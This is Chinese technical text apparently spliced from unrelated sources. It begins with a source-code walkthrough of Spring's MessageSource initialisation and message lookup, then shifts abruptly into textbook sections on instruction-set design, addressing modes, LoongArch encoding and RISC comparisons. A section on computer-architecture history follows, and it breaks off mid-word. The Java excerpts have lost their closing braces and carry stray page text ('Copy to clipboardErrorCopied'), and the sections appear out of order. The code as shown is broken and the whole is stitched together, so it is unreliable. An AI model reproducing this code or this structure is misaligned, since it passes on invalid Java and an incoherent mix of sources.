初始化入口org.springframework.context.support.AbstractApplicationContext.refresh方法有initMessageSource()方法进行了MessageSource初始化protected void initMessageSource() { ConfigurableListableBeanFactory beanFactory = getBeanFactory(); // 判断是否含有 messageSource if (beanFactory.containsLocalBean(MESSAGE_SOURCE_BEAN_NAME)) { // 读取xml配置文件中 id="messageSource"的数据 this.messageSource = beanFactory.getBean(MESSAGE_SOURCE_BEAN_NAME, MessageSource.class); // Make MessageSource aware of parent MessageSource. if (this.parent != null && this.messageSource instanceof HierarchicalMessageSource) { HierarchicalMessageSource hms = (HierarchicalMessageSource) this.messageSource; if (hms.getParentMessageSource() == null) { // Only set parent context as parent MessageSource if no parent MessageSource // registered already. hms.setParentMessageSource(getInternalParentMessageSource()); if (logger.isTraceEnabled()) { logger.trace("Using MessageSource [" + this.messageSource + "]"); else { // Use empty MessageSource to be able to accept getMessage calls. // 没有使用默认的 DelegatingMessageSource DelegatingMessageSource dms = new DelegatingMessageSource(); dms.setParentMessageSource(getInternalParentMessageSource()); this.messageSource = dms; // 注册单例对象 beanFactory.registerSingleton(MESSAGE_SOURCE_BEAN_NAME, this.messageSource); if (logger.isTraceEnabled()) { logger.trace("No '" + MESSAGE_SOURCE_BEAN_NAME + "' bean, using [" + this.messageSource + "]"); Copy to clipboardErrorCopied读取 xml 配置文件getMessageorg.springframework.context.support.AbstractApplicationContext#getMessage(java.lang.String, java.lang.Object[], java.util.Locale)@Override public String getMessage(String code, @Nullable Object[] args, Locale locale) throws NoSuchMessageException { return getMessageSource().getMessage(code, args, locale); Copy to clipboardErrorCopiedorg.springframework.context.support.AbstractMessageSource#getMessage(java.lang.String, java.lang.Object[], java.util.Locale)@Override public final String getMessage(String code, @Nullable Object[] args, Locale locale) throws NoSuchMessageException { // 获取对应的信息 String msg = getMessageInternal(code, args, locale); if (msg != null) { return msg; // 默认信息 null String fallback = getDefaultMessage(code); if (fallback != null) { return fallback; throw new NoSuchMessageException(code, locale); Copy to clipboardErrorCopied两个方法org.springframework.context.support.AbstractMessageSource#getDefaultMessage(java.lang.String)@Nullable protected String getDefaultMessage(String code) { // 判断是否使用默认值 if (isUseCodeAsDefaultMessage()) { return code; return null; Copy to clipboardErrorCopied返回 code 本身或者nullorg.springframework.context.support.AbstractMessageSource#getMessageInternal@Nullable protected String getMessageInternal(@Nullable String code, @Nullable Object[] args, @Nullable Locale locale) { if (code == null) { return null; if (locale == null) { // 获取语言默认值 locale = Locale.getDefault(); Object[] argsToUse = args; if (!isAlwaysUseMessageFormat() && ObjectUtils.isEmpty(args)) { // Optimized resolution: no arguments to apply, // therefore no MessageFormat needs to be involved. // Note that the default implementation still uses MessageFormat; // this can be overridden in specific subclasses. String message = resolveCodeWithoutArguments(code, locale); if (message != null) { return message; else { // Resolve arguments eagerly, for the case where the message // is defined in a parent MessageSource but resolvable arguments // are defined in the child MessageSource. argsToUse = resolveArguments(args, locale); MessageFormat messageFormat = resolveCode(code, locale); if (messageFormat != null) { synchronized (messageFormat) { return messageFormat.format(argsToUse); // Check locale-independent common messages for the given message code. Properties commonMessages = getCommonMessages(); if (commonMessages != null) { String commonMessage = commonMessages.getProperty(code); if (commonMessage != null) { return formatMessage(commonMessage, args, locale); // Not found -> check parent, if any. return getMessageFromParent(code, argsToUse, locale); Copy to clipboardErrorCopiedorg.springframework.context.support.ResourceBundleMessageSource#resolveCodeWithoutArguments@Override protected String resolveCodeWithoutArguments(String code, Locale locale) { Set<String> basenames = getBasenameSet(); for (String basename : basenames) { // 加载 basename ResourceBundle bundle = getResourceBundle(basename, locale); if (bundle != null) { // 从basename对应的文件中获取对应的值 String result = getStringOrNull(bundle, code); if (result != null) { return result; return null; Copy to clipboardErrorCopied加载后截图获取方法String result = getStringOrNull(bundle, code);就是 map 获取没有配置文件的情况
指令系统由若干条指令及其操作对象组成。每条指令都是对一个操作的描述,主要包括操作码和操作数。操作码规定指令功能,例如加减法;操作数指示操作对象,包含数据类型、访存地址、寻址方式等内容的定义。2.4.1 地址空间处理器可访问的地址空间包括寄存器空间和系统内存空间。寄存器空间包括通用寄存器、专用寄存器和控制寄存器。寄存器空间通过编码于指令中的寄存器号寻址,系统内存空间通过访存指令中的访存地址寻址。通用寄存器是处理器中最常用的存储单元,一个处理器周期可以同时读取多条指令需要的多个寄存器值。现代指令系统都定义了一定数量的通用寄存器供编译器进行充分的指令调度。针对浮点运算,通常还定义了浮点通用寄存器。表2.1给出了部分常见指令集中整数通用寄存器的数量。表 2.1: 不同指令集的整数通用寄存器数量指令集整数通用寄存器数Itanium128VAX16ARMv831PowerPC32Alpha32(包括“zero”)SPARC32(包括“zero”)MIPS在mips16模式下为8,在32/64位模式下为32(包括“zero”)ARMv7在16位Thumb 模式下为7,在32位模式下为14X8616/32位时为8, 64位时为16LoongArch32(包括“zero”)LoongArch指令系统中定义了32个整数通用寄存器和32个浮点通用寄存器,其编号分别表示为$r0~$r31和$f0~$f31,其中$r0总是返回全0。除了通用寄存器外,有的指令系统还会定义一些专用寄存器,仅用于某些专用指令或专用功能。如MIPS指令系统中定义的HI、LO寄存器就仅用于存放乘除法指令的运算结果。控制寄存器用于控制指令执行的环境,比如是核心态还是用户态。其数量、功能和访问方式依据指令系统的定义各不相同。LoongArch指令系统中定义了一系列控制状态寄存器(Control Status Register,简称CSR),将在第3章介绍。广义的系统内存空间包括IO空间和内存空间,不同指令集对系统内存空间的定义各不相同。X86指令集包含独立的IO空间和内存空间,对这两部分空间的访问需要使用不同的指令:内存空间使用一般的访存指令,IO空间使用专门的in/out指令。而MIPS、ARM、LoongArch等RISC指令集则通常不区分IO空间和内存空间,把它们都映射到同一个系统内存空间进行访问,使用相同的load/store指令。处理器对IO空间的访问不能经过Cache,因此在使用相同的load/store指令既访问IO空间又访问内存空间的情况下,就需要定义load/store指令访问地址的存储访问类型,用来决定该访问能否经过Cache。如MIPS指令集定义缓存一致性属性(Cache Coherency Attribute,简称CCA)Uncached和Cached分别用于IO空间和内存空间的访问,ARM AArch64指令定义内存属性(Memory Attribute)Device和Normal分别对应IO空间和内存空间的访问,LoongArch指令集定义存储访问类型(Memory Access Type,简称MAT)强序非缓存(Strongly-ordered UnCached,简称SUC)和一致可缓存(Coherent Cached,简称CC)分别用于IO空间和内存空间的访问。存储访问类型通常根据访存地址范围来确定。如果采用页式地址映射方式,那么同一页内的地址定义为相同的存储访问类型,通常作为该页的一个属性信息记录在页表项中,如MIPS指令集中的页表项含有CCA域,LoongArch指令集中的页表项含有MAT域。如果采用段式地址映射方式,那么同一段内的地址定义为相同的存储访问类型。如MIPS32中规定虚地址空间的kseg1段(地址范围0xa0000000~0xbfffffff)的存储访问类型固定为Uncached,操作系统可以使用这段地址来访问IO空间。LoongArch指令集可以把直接地址映射窗口的存储访问类型配置为SUC,那么落在该地址窗口就可以访问IO空间。(有关LoongArch指令集中直接地址映射窗口的详细介绍请看第3章。)根据指令使用数据的方式,指令系统可分为堆栈型、累加器型和寄存器型。寄存器型又可以进一步分为寄存器-寄存器型(Register-Register)和寄存器-存储器型(Register-Memory)。下面分别介绍各类型的特点。堆栈型。堆栈型指令又称零地址指令,其操作数都在栈顶,在运算指令中不需要指定操作数,默认对栈顶数据进行运算并将结果压回栈顶。累加器型。累加器型指令又称单地址指令,包含一个隐含操作数——累加器,另一个操作数在指令中指定,结果写回累加器中。寄存器-存储器型。在这种类型的指令系统中,每个操作数都由指令显式指定,操作数为寄存器和内存单元。寄存器-寄存器型。在这种类型的指令系统中,每个操作数也由指令显式指定,但除了访存指令外的其他指令的操作数都只能是寄存器。表2.2给出了四种类型的指令系统中执行C=A+B的指令序列,其中A、B、C为不同的内存地址,R1、R2等为通用寄存器。表 2.2: 四类指令系统的C=A+B指令序列堆栈型累加器型寄存器-存储器型寄存器-寄存器型PUSH ALOAD ALOAD R1,ALOAD R1,APUSH BADD BADD R1,BLOAD R2,BADDSTORE CSTORE C,R1ADD R3,R1,R2POP CSTORE C,R3寄存器-寄存器型指令系统中的运算指令的操作数只能来自寄存器,不能来自存储器,所有的访存都必须显式通过load和store指令来完成,所以寄存器-寄存器型又被称为load-store型。早期的计算机经常使用堆栈型和累加器型指令系统,主要目的是降低硬件实现的复杂度。除了X86还保留堆栈型和累加器型指令系统外,当今的指令系统主要是寄存器型,并且是寄存器-寄存器型。使用寄存器的优势在于,寄存器的访问速度快,便于编译器的调度优化,并可以充分利用局部性原理,大量的操作可以在寄存器中完成。此外,寄存器-寄存器型的另一个优势是寄存器之间的相关性容易判断,容易实现流水线、多发射和乱序执行等方法。2.4.2 操作数2.4.2.1 数据类型计算机中常见的数据类型包括整数、实数、字符,数据长度包括1字节、2字节、4字节和8字节。X86指令集中还包括专门的十进制类型BCD。表2.3给出C语言整数类型与不同指令集中定义的名称和数据长度(以字节为单位)的关系。表 2.3: 不同指令集整数类型的名称和数据长度C语言名称LA32名称/数据长度1LA64名称/数据长度1X86名称/数据长度X86-64名称/数据长度charByte/1Byte/1Byte/1Byte/1shortHalfword/2Halfword/2Word/2Word/2intWord/4Word/4Dword/4Dword/4longWord/4Dword/8Dword/4Qword/8long longDword/8Dword/8Qword/8Qword/81LA32和LA64分别是32位和64位LoongArch指令集实数类型在计算机中表示为浮点类型,包括单精度浮点数和双精度浮点数,单精度浮点数据长度为4字节,双精度浮点数据长度为8字节。在指令中表达数据类型有两种方法。一种是由指令操作码来区分不同类型,例如加法指令包括定点加法指令、单精度浮点加法指令、双精度浮点加法指令。另一种是将不同类型的标记附在数据上,例如加法使用统一的操作码,用专门的标记来标明加法操作的数据类型。2.4.2.2 访存地址在执行访存指令时,必须考虑的问题是访存地址是否对齐和指令系统是否支持不对齐访问。所谓对齐访问是指对该数据的访问起始地址是其数据长度的整数倍,例如访问一个4字节数,其访存地址的低两位都应为0。对齐访问的硬件实现较为简单,若支持不对齐访问,硬件需要完成数据的拆分和拼合。但若只支持对齐访问,又会使指令系统丧失一些灵活性,例如串操作经常需要进行不对齐访问,只支持对齐访问会让串操作的软件实现变得较为复杂。以X86为代表的CISC指令集通常支持不对齐访问,RISC类指令集在早期发展过程中为了简化硬件设计只支持对齐访问,不对齐的地址访问将产生异常。近些年来伴随着工艺和设计水平的提升,越来越多的RISC类指令也开始支持不对齐访问以减轻软件优化的负担。另一个与访存地址相关的问题是尾端(Endian)问题。不同的机器可能使用大尾端或小尾端,这带来了严重的数据兼容性问题。最高有效字节的地址较小的是大尾端,最低有效字节的地址较小的是小尾端。Motorola的68000系列和IBM的System系列指令系统采用大尾端,X86、VAX和LoongArch等指令系统采用小尾端,ARM、SPARC和MIPS等指令系统同时支持大小尾端。2.4.2.3 寻址方式寻址方式指如何在指令中表示要访问的内存地址。表2.4列出了计算机中常用的寻址方式,其中数组mem表示存储器,数组regs表示寄存器,mem[regs[Rn]]表示由寄存器Rn的值作为存储器地址所访问的存储器值。表 2.4: 常用寻址方式寻址方式格式含义寄存器寻址(Register)ADD R1,R2regs[R1]=regs[R1]+regs[R2]立即数寻址(Immediate)ADD R1,#2regs[R1]=regs[R1]+2偏移量寻址(Displacement)ADD R1,100(R2)regs[R1]=regs[R1]+mem[100+regs[R2]]寄存器间接寻址(Reg.Indirect)ADD R1,(R2)regs[R1]=regs[R1]+mem[regs[R2]]变址寻址(Indexed)ADD R1,(R2+R3)regs[R1]=regs[R1]+mem[regs[R2]+regs[R3]]绝对寻址(Absolute)ADD R1,(100)regs[R1]=regs[R1]+mem[100]存储器间接寻址(Mem.Indirect)ADD R1,@(R2)regs[R1]=regs[R1]+mem[mem[regs[R2]]]自增量寻址(Autoincrement)ADD R1,(R2)+regs[R1]=regs[R1]+mem[regs[R2]],regs[R2]=regs[R2]+d自减量寻址(Autodecrement)ADD R1,-(R2)regs[R2]=regs[R2]-d,regs[R1]=regs[R1]+mem[regs[R2]]比例变址寻址(Scaled)ADD R1,100(R2)(R3)regs[R1]=regs[R1]+mem[100+regs[R2]+regs[R3]*d]除表2.4之外还可以列出很多其他寻址方式,但常用的寻址方式并不多。John L.Hennessy在其经典名著《计算机系统结构:量化研究方法(第二版)》中给出了如表2.5所示的数据,他在VAX计算机(VAX机的寻址方式比较丰富)上对SPEC CPU 1989中tex、spice和gcc这三个应用的寻址方式进行了统计。表 2.5: VAX计算机寻址方式统计寻址方式texspicegcc偏移量寻址32%55%40%立即数寻址43%17%39%寄存器间接寻址24%3%11%自增量寻址0%16%6%存储器间接寻址1%6%1%从表2.5可以看出,偏移量寻址、立即数寻址和寄存器间接寻址是最常用的寻址方式,而寄存器间接寻址相当于偏移量为0的偏移量寻址。因此,一个指令系统至少应支持寄存器寻址、立即数寻址和偏移量寻址。经典的RISC指令集,如MIPS和Alpha,主要支持上述三种寻址方式以兼顾硬件设计的简洁和寻址计算的高效。不过随着工艺和设计水平的提升,现代商用RISC类指令集也逐步增加所支持的寻址方式以进一步提升代码密度,如64位的LoongArch指令集(简称LA64)就在寄存器寻址、立即数寻址和偏移量寻址基础之上还支持变址寻址方式。2.4.3 指令操作和编码现代指令系统中,指令的功能由指令的操作码决定。从功能上来看,指令可分为四大类:第一类为运算指令,包括加减乘除、移位、逻辑运算等;第二类为访存指令,负责对存储器的读写;第三类是转移指令,用于控制程序的流向;第四类是特殊指令,用于操作系统的特定用途。在四类指令中,转移指令的行为较为特殊,值得详细介绍。转移指令包括条件转移、无条件转移、过程调用和过程返回等类型。转移条件和转移目标地址是转移指令的两个要素,两者的组合构成了不同的转移指令:条件转移要判断条件再决定是否转移,无条件转移则无须判断条件;相对转移是程序计数器(PC)加上一个偏移量作为转移目标地址,绝对转移则直接给出转移目标地址;直接转移的转移目标地址可直接由指令得到,间接转移的转移目标地址则需要由寄存器的内容得到。程序中的switch语句、函数指针、虚函数调用和过程返回都属于间接转移。由于取指译码时不知道目标地址,因此硬件结构设计时处理间接跳转比较麻烦。转移指令有几个特点:第一,条件转移在转移指令中最常用;第二,条件转移通常只在转移指令附近进行跳转,偏移量一般不超过16位;第三,转移条件判定比较简单,通常只是两个数的比较。条件转移指令的条件判断通常有两种实现方式:采用专用标志位和直接比较寄存器。采用专用标志位方式的,通过比较指令或其他运算指令将条件判断结果写入专用标志寄存器中,条件转移指令仅根据专用标志寄存器中的判断结果决定是否跳转。采用直接比较寄存器方式的,条件转移指令直接对来自寄存器的数值进行比较,并根据比较结果决定是否进行跳转。X86和ARM等指令集采用专用标志位方式,RISC-V指令集则采用直接比较寄存器方式,MIPS和LoongArch指令集中的整数条件转移指令采用直接比较寄存器方式,而浮点条件转移指令则采用专用标志位方式。指令编码就是操作数和操作码在整个指令码中的摆放方式。CISC指令系统的指令码长度可变,其编码也比较自由,可依据类似于赫夫曼(Huffman)编码的方式将操作码平均长度缩小。RISC指令系统的指令码长度固定,因此需要合理定义来保证各指令码能存放所需的操作码、寄存器号、立即数等元素。图2.7给出了LoongArch指令集的编码格式。图 2.7: LoongArch指令集的编码格式如图2.7所示,32位的指令编码被划分为若干个区域,按照划分方式的不同共包含9种典型的编码格式,即3种不含立即数的格式2R、3R、4R和6种包含立即数的格式2RI8、2RI12、2RI14、2RI16、1RI21和I26。编码中的opcode域用于存放指令的操作码;rd、rj、rk和ra域用于存放寄存器号,通常rd表示目的操作数寄存器,而rj、rk、ra表示源操作数寄存器;Ixx域用于存放指令立即数,即立即数寻址方式下指令中给出的数。指令中的立即数不仅作为运算型指令的源操作数,也作为load/store指令中相对于基地址的地址偏移以及转移指令中转移目标的偏移量。
本节以MIPS、PA-RISC、PowerPC、SPARC v9和LoongArch为例,比较不同RISC指令系统的指令格式、寻址模式和指令功能,以加深对RISC的了解。2.5.1 指令格式比较五种RISC指令集的指令格式如图2.8所示。在寄存器类指令中,操作码都由操作码(OP)和辅助操作码(OPX)组成,操作数都包括两个源操作数(RS)和一个目标操作数(RD);立即数类指令都由操作码、源操作数、目标操作数和立即数(Const)组成,立即数的位数各有不同;跳转类指令大同小异,PA-RISC与其他四种差别较大。总的来说,五种RISC指令集的指令编码主要组成元素基本相同,只是在具体摆放位置上存在差别。图 2.8: 五种RISC指令集的指令编码格式2.5.2 寻址方式比较五种指令集的寻址方式如表2.6所示。MIPS、SPARC和LoongArch只支持四种常用的寻址方式,PowerPC和PA-RISC支持的寻址方式较多。表 2.6: 五种指令集的寻址方式比较寻址方式MIPSPowerPCPA-RISCSPARCLoongArch寄存器寻址YYYYY立即数寻址YYYYY偏移量寻址YYYYY变址寻址Y(仅浮点)YYYY比例变址寻址Y自增/自减+偏移量寻址YY自增/自减+变址寻址YY注:表2.6中Y表示支持该寻址方式。2.5.3 公共指令功能RISC指令集都有一些公共指令,如load-store、算术运算、逻辑运算和控制流指令。不同指令集在比较和转移指令上区别较大。1)load-store指令。load指令将内存中的数据取入通用寄存器,store指令将通用寄存器中的数据存至内存中。表2.7给出了LoongArch指令集的load-store指令实例。当从内存中取回的数据位宽小于通用寄存器位宽时,后缀没有U的指令进行有符号扩展,即用取回数据的最高位(符号位)填充目标寄存器的高位,否则进行无符号扩展,即用数0填充目标寄存器的高位。表 2.7: LoongArch指令集的load-store指令指令指令功能LD.B取字节LD.BU取字节,无符号扩展LD.H取半字LD.HU取半字,无符号扩展LD.W取字LD.WU取字,无符号扩展LD.D取双字ST.B存字节ST.H存半字ST.W存字ST.D存双字2)ALU指令。ALU指令都是寄存器型的,常见的ALU指令包括加、减、乘、除、与、或、异或、移位和比较等。表2.8为LoongArch指令集的ALU指令实例。其中带有“.W”后缀的指令操作的数据位宽为32位(字),带有“.D”后缀的指令操作的数据位宽为64位(双字)。表 2.8: LoongArch指令集的ALU指令指令指令功能ADD.W字加ADDI.W字加立即数SUB.W字减ADD.D双字加ADDI.D双字加立即数SUB.D双字减SLT有符号数比较小于置1SLTI有符号数立即数比较小于置1SLTU无符号数比较小于置1SLTUI无符号数立即数比较小于置1AND与OR或XOR异或NOR或非ANDI与立即数ORI或立即数XORI异或立即数LU12I.W加载20位立即数到高位SLL.W字逻辑左移变量位SRL.W字逻辑右移变量位SRA.W字算术右移变量位SLLI.W字逻辑左移常量位SRLI.W字逻辑右移常量位SRAI.W字算术右移常量位SLL.D双字逻辑左移变量位SRL.D双字逻辑右移变量位SRA.D双字算术右移变量位SLLI.D双字逻辑左移常量位SRLI.D双字逻辑右移常量位SRAI.D双字算术右移常量位MUL.W字乘取低半部分MULH.W有符号字乘取高半部分MULH.WU无符号字乘取高半部分MUL.D双字乘取低半部分MULH.D有符号双字乘取高半部分MULH.DU无符号双字乘取高半部分DIV.W有符号字除取商DIV.WU无符号字除取商MOD.W有符号字除取余MOD.WU无符号字除取余DIV.D有符号双字除取商DIV.DU无符号双字除取商MOD.D有符号双字除取余MOD.DU无符号双字除取余3)控制流指令。控制流指令分为绝对转移指令和相对转移指令。相对转移的目标地址是当前的PC值加上指令中的偏移量立即数;绝对转移的目标地址由寄存器或指令中的立即数给出。表2.9为LoongArch指令集中控制流指令的实例。表 2.9: LoongArch指令集的控制流指令指令指令功能JIRL相对寄存器偏移跳转并链接B无条件相对转移BL无条件相对转移并链接BEQ等于时相对转移BNE不等时相对转移BLT有符号比较小于时相对转移BGE有符号比较大于等于时相对转移BLTU无符号比较小于时相对转移BGEU无符号比较大于等于时相对转移BEQZ等于0相对转移BNEZ不等于0时相对转移在条件转移指令中,转移条件的确定有两种方式:判断条件码和比较寄存器的值。SPARC采用条件码的方式,整数运算指令置条件码,条件转移指令使用条件码进行判断。MIPS和LoongArch的定点转移指令使用寄存器比较的方式进行条件判断,而浮点转移指令使用条件码。PowerPC中包含一个条件寄存器,条件转移指令指定条件寄存器中的特定位作为跳转条件。PA-RISC有多种选择,通常通过比较两个寄存器的值来决定是否跳转。RISC指令集中很多条件转移采用了转移延迟槽(Delay Slot)技术,程序中条件转移指令的后一条指令为转移延迟槽指令。在早期的静态流水线中,条件转移指令在译码时,后一条指令即进入取指流水级。为避免流水线效率的浪费,有些指令集规定转移延迟槽指令无论是否跳转都要执行。MIPS、SPARC和PA-RISC都实现了延迟槽,但对延迟槽指令是否一定执行有不同的规定。对于当今常用的动态流水线和多发射技术而言,延迟槽技术则没有使用的必要,反而成为指令流水线实现时需要特殊考虑的负担。Alpha、PowerPC和LoongArch均没有采用转移延迟槽技术。2.5.4 不同指令系统的特色除了上述公共功能外,不同的RISC指令集经过多年的发展形成了各自的特色,下面举例介绍其各自的主要特色。1)MIPS部分指令特色。前面介绍过访存地址的对齐问题,当确实需要使用不对齐数据时,采用对齐访存指令就需要复杂的地址计算、移位和拼接等操作,这会给大量使用不对齐访存的程序带来明显的代价。MIPS指令集实现了不对齐访存指令LWL/LWR。LWL指令读取访存地址所在的字并将访存地址到该字中最低位的字节拼接到目标寄存器的高位,LWR指令读取访存地址所在的字并将访存地址到该字中最高位的字节拼接到目标寄存器的低位。上述字中的最低位和最高位字节会根据系统采用的尾端而变化,不同尾端下,LWL和LWR的作用相反。例如,要加载地址1至4的内容到R1寄存器,不同尾端的指令和效果如图2.9所示。图 2.9: 不同尾端下的LWL/LWR指令效果LWL和LWR指令设计巧妙,兼顾了使用的便利性和硬件实现的简单性,是MIPS指令集中比较有特色的指令。2)SPARC部分指令特色。SPARC指令系统有很多特色,这里挑选寄存器窗口进行介绍。在SPARC指令系统中,一组寄存器(SPARC v9中规定为8~31号寄存器)可用于构成窗口,窗口可有多个,0~7号寄存器作为全局寄存器。寄存器窗口的好处在于函数调用时可不用保存现场,只需切换寄存器组。3)PA-RISC部分指令特色。PA-RISC指令集最大的特色就是Nullification指令,除了条件转移指令,其他指令也可以根据执行结果确定下一条指令是否执行。例如ADDBF(add and branch if false)指令在完成加法后,检查加法结果是否满足条件,如果不满足就进行转移。一些简单的条件判断可以用Nullification指令实现。4)PowerPC部分指令特色。在RISC结构中,PowerPC的寻址方式、指令格式和转移指令都是最多的,甚至支持十进制运算,因此又被称为“RISC中的CISC”。表2.10给出了分别用PowerPC指令和Alpha指令实现的简单程序示例。实现同样的循环程序,PowerPC只需要6条指令,Alpha则需要10条指令,原因就在于PowerPC的指令功能较强。例如其中的LFU(load with update)和STFU(store with update)指令,除了访存外还能自动修改基址寄存器的值;FMADD可以在一条指令中完成乘法和加法;转移指令BC可同时完成计数值减1和条件转移。表 2.10: PowerPC和Alpha汇编对比源代码:for(k=0;k<512;k++) x[k]=r*x[k]+t*y[k];PowerPC代码Alpha代码r3+8指向xr4+8指向yfp1内容为tfp3内容为rCTR内容为512r1指向xr2指向yr6指向y的结尾fp2内容为tfp4内容为rLOOP: LFU fp0=y(r4=r4+8) FMUL fp0=fp0,fp1 LF fp2=x(r3,8) FMADD fp0=fp0,fp2,fp3 STFU x(r3=r3+8)=fp0 BC LOOP,CTR>0LOOP: LDT fp3=y(r2,0) LDT fp1=x(r1,0) MULT fp3=fp3,fp2 ADDQ r2=r2,8 MULT fp1=fp1,fp4 SUBQ r4=r2,r6 ADDT fp1=fp3,fp1 STT x(r1,0)=fp1 ADDQ r1=r1,8 BNE r4,LOOP5)LoongArch部分指令特色。LoongArch指令集的一个特色是其二进制翻译扩展1。LoongArch的二进制翻译扩展提供了百余条指令和一些系统资源来支持软件实现高效的二进制翻译。例如,把X86指令翻译为RISC类的指令集有个影响翻译效率的因素:eflags标志位处理。因为X86指令集中,一个运算指令除了产生运算结果,还会同时产生是否进位、是否溢出等多>个标志位。完全模拟这样的一条指令的语义一般需要30条以上常规RISC指令。LoongArch提供了一系列专门指令用于产生和使用相应的标志位,在保持RISC指令风格的同时消除了这个瓶颈。目前业界最先进的二进制翻译系统可以实现80%左右的翻译运行效率,LoongArch致力于通过深度的软硬件协同进一步提升效率,实现多个主流指令集到龙芯指令集几乎无损的翻译,最终达到“消灭指令集”或者说软件定义指令集的目的。
1.3 计算机体系结构的发展从事一个领域的研究,要先了解这个领域的发展历史。计算机体系结构是不断发展的。20世纪五六十年代,由于工艺技术的限制,计算机都做得很简单,计算机体系结构主要研究怎么做加减乘除,Computer Architecture基本上等于Computer Arithmetic。以后我们会讲到先行进位加法器、Booth补码乘法算法、华莱士树等,主要是那时候的研究成果。现在体系结构的主要矛盾不在运算部件,CPU中用来做加减乘除的部件只占CPU中硅面积的很小一部分,CPU中的大部分硅面积用来给运算部件提供足够的指令和数据。20世纪七八十年代的时候,以精简指令集(Reduced Instruction Set Computer,简称RISC)兴起为标志,指令系统结构(Instruction Set Architecture,简称ISA)成为计算机体系结构的研究重点。笔者上大学的时候系统结构老师告诉我们,计算机体系结构就是指令系统结构,是计算机软硬件之间的界面。20世纪90年代以后,计算机体系结构要考虑的问题把CPU、存储系统、IO系统和多处理器也包括在内,研究的范围大大地扩展了。到了21世纪,网络就是计算机,计算机体系结构要覆盖的面更广了:向上突破了软硬件界面,需要考虑软硬件的紧密协同;向下突破了逻辑设计和工艺实现的界面,需要从晶体管的角度考虑结构设计。一方面,计算机系统的软硬件界面越来越模糊。按理说指令系统把计算机划分为软件和硬件是清楚的,但现在随着虚拟机和二进制翻译系统的出现,软硬件的界面模糊了。当包含二进制动态翻译的虚拟机执行一段程序时,这段程序可能被软件执行,也有可能直接被硬件执行;可能被并行化,也可能没有被并行化。因此,计算机结构设计需要更多地对软件和硬件进行统筹考虑。另一方面,随着工艺技术的发展,计算机体系结构需要更多地考虑电路和工艺的行为。工艺技术发展到纳米级,体系结构设计不仅要考虑晶体管的延迟,而且要考虑连线的延迟,很多情况下即使逻辑路径很短,如果连线太长也会导致其成为关键路径。工艺技术的发展和应用需求的提高是计算机体系结构发展的主要动力。首先,半导体工艺技术和计算机体系结构技术互为动力、互相促进,推动着计算机工业的蓬勃发展。一方面,半导体工艺水平的提高,为计算机体系结构的设计提供了更多更快的晶体管来实现更多功能、更高性能的系统。例如20世纪60年代发展起来的虚拟存储技术通过建立逻辑地址到物理地址的映射,使每个程序有独立的地址空间,大大方便了编程,促进了计算机的普及。但虚拟存储技术需要TLB(Translation Lookaside Buffer)结构在处理器访存时进行虚实地址转换,而TLB的实现需要足够快、足够多的晶体管。所以半导体工艺的发展为体系结构的发展提供了很好的基础。另一方面,计算机体系结构的发展是半导体技术发展的直接动力。在2010年之前,世界上最先进半导体工艺都用于生产计算机用的处理器芯片,为处理器生产厂家所拥有(如IBM和英特尔)。其次,应用需求的不断提高为计算机体系结构的发展提供了持久的动力。最早计算机都是用于科学工程计算,只有少数人能够用,20世纪80年代IBM把计算机摆到桌面,大大促进了计算机工业发展;21世纪初网络计算的普及又一次促进了计算机工业的发展。在2010年之前,计算机工业的发展主要是工艺驱动为主,应用驱动为辅,都是计算机工艺厂家先挖空心思发明出应用然后让大家去接受。例如英特尔跟微软为了利润而不断发明应用,从DOS到Windows,到Office,到3D游戏,每次都是他们发明了计算机的应用,然后告诉用户为了满足新的应用需求需要换更好的计算机。互联网也一样,没有互联网之前,人们根本没有想到它能干这么多事情,更没有想到互联网会成为这么大一个产业,对社会的发展产生如此巨大的影响。在这个过程中,当然应用是有拉动作用的,但这个力量远没有追求利润的动力那么大。做计算机体系结构的人总是要问一个问题,摩尔定律发展所提供的这么多晶体管可以用来干什么,很少有人问满足一个特定的应用需要多少个晶体管。但在2010年之后,随着计算机基础软硬件的不断成熟,IT产业的主要创新从工艺转向应用。可以预计,未来计算机应用对体系结构的影响将超过工艺技术,成为计算机体系结构发展的首要动力。1.3.1 摩尔定律和工艺的发展1.工艺技术的发展摩尔定律不是一个客观规律,是一个主观规律。摩尔是Intel公司的创始人,他在20世纪六七十年代说集成电路厂商大约18个月能把工艺提高一代,即相同面积中晶体管数目提高一倍。大家就朝这个目标去努力,还真做到了。所以摩尔定律是主观努力的结果,是投入很多钱才做到的。现在变慢了,变成2~3年或更长时间更新一代,一个重要原因是新工艺的研发成本变得越来越高,厂商收回投资需要更多的时间。摩尔定律是计算机体系结构发展的物质基础。正是由于摩尔定律的发展,芯片的集成度和运算能力都大幅度提高。图1.4通过一些历史图片展示了国际上集成电路和微处理器的发展历程。图 1.4: 集成电路和微处理器的发展历程图1.5给出了由我国自行研制的部分计算机和微处理器的历史图片。可以看出,随着工艺技术的发展,计算机从一个大机房到一个小芯片,运算能力大幅度提高,这就是摩尔定律带来的指数式发展的效果。其中的109丙机值得提一下,这台机器为“两弹一星”的研制立下了汗马功劳,被称为功勋机。图 1.5: 我国自行研制的计算机和微处理器CMOS工艺正在面临物理极限。在21世纪之前的35年(或者说在0.13μm工艺之前),半导体场效应晶体管扩展的努力集中在提高器件速度以及集成更多的器件和功能到芯片上。21世纪以来,器件特性的变化和芯片功耗密度成为半导体工艺发展的主要挑战。随着线宽尺度的不断缩小,CMOS的方法面临着原子和量子机制的边界。一是蚀刻等问题越来越难处理,可制造性问题突出;二是片内漂移的问题非常突出,同一个硅片内不同位置的晶体管都不一样;三是栅氧(晶体管中栅极下面作为绝缘层的氧化层)厚度难以继续降低,65nm工艺的栅氧厚度已经降至了1.2nm,也就是五个硅原子厚,漏电急剧增加,再薄的话就短路了,无法绝缘了。工程师们通过采用新技术和新工艺来克服这些困难并继续延续摩尔定律。在90/65nm制造工艺中,采用了多项新技术和新工艺,包括应力硅(Strained 